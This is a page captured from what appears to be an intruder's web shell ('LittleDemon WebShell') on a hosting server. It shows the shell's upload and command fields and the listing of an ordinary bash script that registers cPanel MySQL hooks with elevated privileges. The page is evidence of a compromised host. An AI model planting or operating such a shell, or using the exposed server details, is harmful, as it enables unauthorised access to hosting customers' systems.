LittleDemon WebShell


Linux hosting5.siteguarding.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Path : /usr/share/lve/dbgovernor/scripts/
File Upload :
Command :
Current File : //usr/share/lve/dbgovernor/scripts/cpanel-install-hooks

#!/bin/bash

###################################################
# Utils for hooks installation or removing        #
###################################################
. /usr/share/lve/dbgovernor/scripts/cpanel-common-lve

common_path_of_cpanel="/usr/share/lve/dbgovernor/cpanel"

####################################################
# Cpanel hooks                                     #
####################################################

postupcp="/scripts/postupcp"
mysqluserupdate1="/usr/local/cpanel/hooks/mysql/adduser"
mysqluserupdate2="/usr/local/cpanel/hooks/mysql/deluser"
mysqlusercreate="/scripts/postwwwacct"
mysqluserkill="/scripts/postkillacct"

####################################################
# Hooks list                                       #
####################################################

postupcp_hook="$common_path_of_cpanel/upgrade-mysql-disabler.sh"
map_hook="/usr/share/lve/dbgovernor/scripts/map_hook"
mysql_hook="/usr/share/lve/dbgovernor/scripts/mysql_hook"
old_map_hook="/usr/share/lve/dbgovernor/utils/dbgovernor_map"
pkg_sync_hook='/usr/share/lve/dbgovernor/scripts/sync_hook "$@"'
old_sync_hook="/usr/share/lve/dbgovernor/governor_package_limitting.py sync"

createHookHeader "$postupcp"
checkHookString "$postupcp" "$postupcp_hook" "dbgovernor"
removeEmptyStringsFromFile "$postupcp"

createHookHeader "$mysqlusercreate"
checkHookString "$mysqlusercreate" "$postupcp_hook" "dbgovernor"
checkHookString "$mysqlusercreate" "$pkg_sync_hook" "dbgovernor"
removeHookString "$mysqlusercreate" "$old_sync_hook"
removeEmptyStringsFromFile "$mysqlusercreate"

createHookHeader "$mysqluserkill"
checkHookString "$mysqluserkill" "$postupcp_hook" "dbgovernor"
removeEmptyStringsFromFile "$mysqluserkill"

#createHookHeader "$mysqluserupdate1"
#checkHookStringParam "$mysqluserupdate1" "$mysqlupdate_hook" "dbgovernor"
#rewriteDBUserHook "$mysqluserupdate1"
#removeEmptyStringsFromFile "$mysqluserupdate1"
#
#createHookHeader "$mysqluserupdate2"
#checkHookStringParam "$mysqluserupdate2" "$mysqlupdate_hook" "dbgovernor"
#rewriteDBUserHook "$mysqluserupdate2"
#removeEmptyStringsFromFile "$mysqluserupdate2"

/usr/local/cpanel/bin/register_hooks

####################################################
# Standardized hooks list                                       #
####################################################

hook_manager="/usr/local/cpanel/bin/manage_hooks"

# Try to delete hooks from previous version of governor
"$hook_manager" del script "$old_map_hook" --category=Whostmgr --event=Accounts::Create --manual 2>&1 >/dev/null
"$hook_manager" del script "$old_map_hook" --category=Whostmgr --event=Accounts::Modify --manual 2>&1 >/dev/null
"$hook_manager" del script "$old_map_hook" --category=Whostmgr --event=Accounts::Remove --manual 2>&1 >/dev/null

"$hook_manager" add script "$map_hook" --category=Whostmgr --event=Accounts::Create --stage=post --escalateprivs --manual
"$hook_manager" add script "$map_hook" --category=Whostmgr --event=Accounts::Modify --stage=post --escalateprivs --manual
"$hook_manager" add script "$map_hook" --category=Whostmgr --event=Accounts::Remove --stage=post --escalateprivs --manual

"$hook_manager" add script "$mysql_hook" --category=Cpanel --event=UAPI::Mysql::create_user --stage=post --escalateprivs --manual
"$hook_manager" add script "$mysql_hook" --category=Cpanel --event=UAPI::Mysql::rename_user --stage=post --escalateprivs --manual
"$hook_manager" add script "$mysql_hook" --category=Cpanel --event=UAPI::Mysql::delete_user --stage=post --escalateprivs --manual

echo

LittleDemon - FACEBOOK
[ KELUAR ]